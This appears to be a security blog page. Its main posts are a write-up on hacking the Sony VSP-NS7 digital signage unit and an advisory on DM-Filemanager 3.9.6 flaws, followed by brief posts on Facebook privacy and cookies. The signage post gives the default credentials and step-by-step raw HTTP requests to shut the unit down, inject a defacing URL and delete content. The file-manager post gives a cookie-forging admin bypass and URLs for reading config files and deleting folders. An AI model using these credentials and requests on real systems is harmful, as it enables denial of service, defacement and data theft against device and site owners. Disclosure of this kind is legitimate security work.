Sony VSP-NS7 Digital Signage Hacking
Recently I tested out a Sony VSP-NS7 digital signage unit for a customer. This machine really impressed me considering I had used its predecessor the NSP100 and the newer technology was just what the client needed.
After doing some online searching I found that, other than the manual, there wasn’t much information out there on this unit. Knowing that we were going to place this box on a public network, I decided to run a few tests. I began by firing up Wireshark to sniff traffic to and from this box and was very surprised by what I found.
From this research I was able to determine that there is a web server running on port 4980 by default. Next I was able to retrieve the default username and password of the box by decoding the base64 string below.
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
Authorization: Basic NSPXuser:NSPXuser
Since this isn’t published anywhere else I have seen, I would guess that not many users of this system know about it. In fact I would dare say that most installations of this system are still using the default username and password since Sony only mentions that the box can be controlled using their additional VSPA-D7 management software. If it costs big bucks it must be good, right?
Below are some of my findings:
Default user information
————————
User: NSPXuser
Pass: NSPXuser
Port: 4980
Found commands
————————
http://ip:4980 – Contains sofware version, unit name, unit and harddrive serial number and MAC address.
http://ip:4980/import/ – Contains all user uploaded content.
http://ip:4980/command.php – Uses several get variables to control the box.
http://ip:4980/upload.php – Used in conjunction with get variables to send content to the box.
http://ip:4980/command.php?cmd=NLOG&comp=cab - Download system logs.
http://ip:4980/command.php?cmd=SLOG – Displays system logs.
http://ip:4980/command.php?cmd=SYST – System statistics.
http://ip:4980/command.php?cmd=DRST – Harddrive statistics.
http://ip:4980/command.php?cmd=PLCL – Play files.
http://ip:4980/command.php?cmd=SPCL – Stop playing files.
http://ip:4980/command.php?cmd=CLST&table=web – List files based on type – web, still, movie and text.
http://ip:4980/command.php?cmd=LCNF – Load configuration files.
http://ip:4980/command.php?cmd=RMCL – Remove files.
http://ip:4980/command.php?cmd=LTBL – Load tables.
Power off and restart
————————
http://ip:4980/command.php?cmd=RSET&shutdown – Turn the unit off
http://ip:4980/command.php?cmd=RSET&reboot – Restart unit
Shutdown Sony VSP-NS7
Fire up a telnet session and enter:
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. GET /command.php?cmd=RSET&shutdown HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Cache-Control: no-cache
Without any warning the unit will shut down and have to be restarted from the box or management software if the network allows magic packets.
URL Injection/Defacement Sony VSP-NS7
Fire up a telnet session and enter:
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. PUT /upload.php?href=/import/db/property0.xml&append=0&mkdir=0 HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Content-Length: 601 Cache-Control: no-cache <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <content ver="1.0" date="2010-09-06" time="21:28:43"> <delete table="WEB_TBL"> <index>004000003</index> </delete> <insert table="WEB_TBL"> <index>004000003</index> <cdate>2010-09-06 21:21:55.678</cdate> <title>Pwnage</title> <size>0</size> <deldate>2010-10-06</deldate> <link>http://blog.ndarkness.com/?p=577</link> <info>Pwned</info> <change>01</change> <width>0</width> <height>0</height> <xoffset>0</xoffset> <yoffset>0</yoffset> <xoption>0</xoption> <xreload>0</xreload> </insert> </content>
Next we write the group file.
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. PUT /upload.php?href=/import/group0.xml&append=0&mkdir=0 HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Content-Length: 185 Cache-Control: no-cache <?xml version="1.0" encoding="UTF-8"?> <group ver="1.0" date="2010-09-06" time="21:28:43"> <property date="2010-09-06" time="21:28:43">/import/db/property0.xml</property> </group>
Now we need to load the file.
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. GET /command.php?cmd=LTBL&file=/import/group0.xml&mode=2 HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Cache-Control: no-cache
Finally let’s force the unit to call our url.
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. GET /command.php?cmd=PLCL&id=06&index=004000003 HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Cache-Control: no-cache
Delete Files From Sony VSP-NS7
First we need to obtain a list of images on the unit.
Fire up a telnet session and enter:
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. GET /command.php?cmd=CLST&table=still HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Cache-Control: no-cache
Now we simply select the image we want to delete and enter the following:
telnet ip 4980 Trying ip... Connected to ip. Escape character is '^]'. GET /command.php?cmd=RMCL&table=still&index=002000002 HTTP/1.1 Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI= User-Agent: VSP-NS7 HTTP Connection Host: ip:4980 Cache-Control: no-cache
The VSPA-D7 management software does allow the default password and port to be changed but if the traffic is sniffed, the password can be easily decoded again. Not to mention we can use similar attack method to change the password of the box and lock the administrator out. Talk about a denial of service!
The only secure solution for this unit, is to use a crossover cable and directly connect to the box or put it on a network by itself. If you leave it on a public network it is only a matter of time before it falls prey to one of the attacks listed above.
GHTime Code(s): a3876DM-Filemanager 3.9.6-9 Multiple Vulnerabilities
The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software.
During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.
The next major issues we found with DM-Filemanager version 3.9.6 – 3.9.7-9* dealt with several vulnerabilities. Below is the method used to exploit this vulnerability and a list of possible exploits. Please be aware that this has since been fixed and is no longer vulnerable.
I discovered that direct calls to ajax.php, code.php and rich.php are not properly validated. Possible exploits for this vulnerability are file disclosure, loss of data and sensitive information, XSS (via source code editing), session hijacking (via XSS), web site defacement and database manipulation/exposure.
*You must use:
javascript:void(document.cookie="USER=someadminuser"); void(document.cookie="USERID=50");void(document.cookie="GROUP=ADMINISTRATORS"); void(document.cookie="GROUPID=1");
Create a new file (see edit below for an easier method):
http://localhost/dm-filemanager/ajax.php?newfile=yes&filename=index.php
Download files:
http://localhost/dm-filemanager/?download=yes&file=settings.php&currdir=/dm-filemanager/
Rename:
http://localhost/dm-filemanager/ajax.php?file=index.shtml&currdir=/&destination=/&rn=yes&newname=index.html
Copy:
http://localhost/dm-filemanager/ajax.php?file=config.php&currdir=/&destination=/&cp=yes
Edit: (This one has potential
)
http://localhost/dm-filemanager/code.php?editfile=yes&file=exploit.php&currdir=/
Delete File:
http://localhost/dm-filemanager/ajax.php?delete=yes&file=index.php&currdir=/wp/&destination=/wp/
Delete Folders:
http://localhost/dm-filemanager/ajax.php?currdir=/wp/&rmdir=yes&folder=/wp/wp-admin&dir=wp-admin
All DM-Filemanager users are strongly encouraged to upgrade their software to the latest version.
GHTime Code(s): f73e1
Back in February of 2009 there was a big debate over the new terms of agreement that Facebook adopted. Due to the negative feedback over this decision, Facebook’s executives caved from the pressure and reverted to the old terms. Now a little over a year later, this same group is at it again.
Facebook’s idea of privacy is that you, the user, have to police what you share. In other words, it is your responsibility to constantly check your privacy settings to see if any changes have been made and opt out of these changes if you don’t agree. I’m sure that most of you would agree when I say, there are better things to do with your time than to constantly check privacy settings on a website.
For years I have heard many people talk about how MySpace has been losing popularity and that it will soon be gone. As of today, these predictions have yet to come true.
If you have been browsing the internet for any period of time, I’m sure you have heard of cookies. Even though you may not be entirely sure what they do, you certainly know how to delete them. Right?